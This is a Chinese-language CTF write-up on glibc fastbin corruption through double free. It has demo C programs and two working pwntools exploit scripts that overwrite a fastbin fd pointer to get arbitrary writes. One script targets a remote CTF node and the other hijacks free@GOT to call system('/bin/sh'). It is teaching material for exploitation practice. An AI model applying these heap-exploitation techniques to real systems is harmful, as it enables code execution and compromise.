堆漏洞之--Fastbin corruption
漏洞利用前提:
首先呢,对于这个漏洞,是在Fastbin上做文章,但是呢,这个漏洞的利用也是有前提条件的:
本质条件呢,是我们free掉chunk之后,并没有将指针置0,因此,我们也可以说,是存在UAF漏洞的。
在漏洞的利用方面,该漏洞要配合Double free漏洞,这个不用担心,存在UAF漏洞也意味着存在Double free漏洞的。
Double free漏洞介绍:
Double free漏洞的成因是,我们将chunk进行free之后,并没有将指针置为零,导致这一块我们依然可以操作,所以我们可以再次调用free函数,对该chunk再一次释放。
我们来做试验(测试环境为:glibc2.23):
实验源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| #include <stdio.h> #include <stdlib.h>
#define HEAP_SIZE 10
int main() { void *heap[HEAP_SIZE];
heap[0] = malloc(0x10); heap[1] = malloc(0x10); heap[2] = malloc(0x10);
printf("Chunk 1 address: %p\n", heap[0]); printf("Chunk 2 address: %p\n", heap[1]); printf("Chunk 3 address: %p\n", heap[2]); free(heap[0]); free(heap[0]);
return 0; }
|
我们编译运行,当我们执行时,发现程序报错:

这是因为fastbin会检查,且有且检查下一个free的chunk是否和上一个相同,所以给了我们绕过的机会,只要我们先free(heap[0]),再free(heap[1]),再free(heap[0])就可以绕过该检查,达到Double free的目的:

Fastbin corruption漏洞解析:
Fastbin corruption漏洞就是在Double free漏洞的基础上(以上面为例),再次mallco(0x10),此时就可以申请到0x602000这块堆空间,如果题目可以在申请的chunk中做写入,那么当我们写入数据的时候,fd指针就会被我们改写(因为还有一块0x602000在fastbin中)(也就是上图的最后一块),那么就可以指向任意位置,那我们就可以继续mallco直到申请到我们想要的地方,达到任意位置写入。
我们来做试验(测试环境为:glibc2.23):
实验源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include <stdio.h> #include <stdlib.h>
int main() { void *heap[10]; heap[0] = malloc(0x10); heap[1] = malloc(0x10); free(heap[0]); free(heap[1]); free(heap[0]); heap[3] = malloc(0x10); read(0,heap[3],0x8);
return 0; }
|
当我们read读入deadbeef时,便会:

例题解析:
例1:[NewStarCTF 2023 公开赛道]Double
先看一眼保护:


是个菜单题目,而且呢,del函数中存在漏洞,这个菜单很短,只有申请和释放:

想拿到shell也不难,只要满足0x602070处的值是1638就可以了,我先放出payload,再做解释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import *
sh = remote("node5.buuoj.cn",29422) context.log_level = 'debug' context.arch = 'amd64'
def add(idx,context): sh.recvuntil(">\n") sh.sendline("1") sh.recvuntil("Input idx\n") sh.sendline(str(idx)) sh.recvuntil("Input content\n") sh.sendline(context)
def delete(idx): sh.recvuntil(">\n") sh.sendline("2") sh.recvuntil("Input idx\n") sh.sendline(str(idx))
def check(): sh.recvuntil(">\n") sh.sendline("3")
add(0,"A"*0x10) add(1,"B"*0x10)
delete(0) delete(1) delete(0)
fake_chunk_addr = 0x602060
payload = p64(fake_chunk_addr) add(2,payload) add(3,"deadbeef") add(4,"deadbeef")
payload = p64(0x666) add(5,payload)
sh.interactive()
|
问题的关键,就是fake_chunk_addr的筛选,按照我前面说的,大家是不是觉得,我们利用Fastbin corruption漏洞将fd指针改到哪里,我们就可以申请到哪里,其实并不是的,从fastbin中malloc,是要对即将malloc到的chunk做检查的,检查啥呢,该chunk的size区域,如果不符合该fastbin的大小,我们将无法进行申请,拿到该区域:

而我们要修改的区域0x602070处的前0x10字节,就有适合我们做伪造的区域。
(注:对size域做检查的时候,只会检查前四个字节,并不会8字节全检查,所以,可伪造的区域也很多)
例题2:Baby fast
这道题目,与上到题目类似,大家可以试一试,看看能否独自攻破,这道题目,我选择的是改掉free函数的got,所以我选的fd指向的位置如下:

因为只检查前四个字节的缘故,这一段也可以哦,payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import *
context.arch = 'amd64'
sh = process("./pwn1")
def create(size,content): sh.recvuntil(" : ") sh.sendline("1") sh.recvuntil(" : ") sh.sendline(str(size)) sh.recvuntil(" : ") sh.sendline(content)
def dfree(indx): sh.recvuntil(" : ") sh.sendline("2") sh.recvuntil(" : ") sh.sendline(str(indx))
create(0x50,"deadbeef") create(0x50,"deadbeef")
dfree(0) dfree(1) dfree(0)
fake_chunk_addr = 0x601ffa elf = ELF("./pwn1") system_plt_addr = elf.plt["system"]
create(0x50,p64(fake_chunk_addr))
create(0x50,"deadbeef") create(0x50,"/bin/sh\x00")
create(0x50,"A"*0xe + p64(system_plt_addr))
dfree(4)
sh.interactive()
|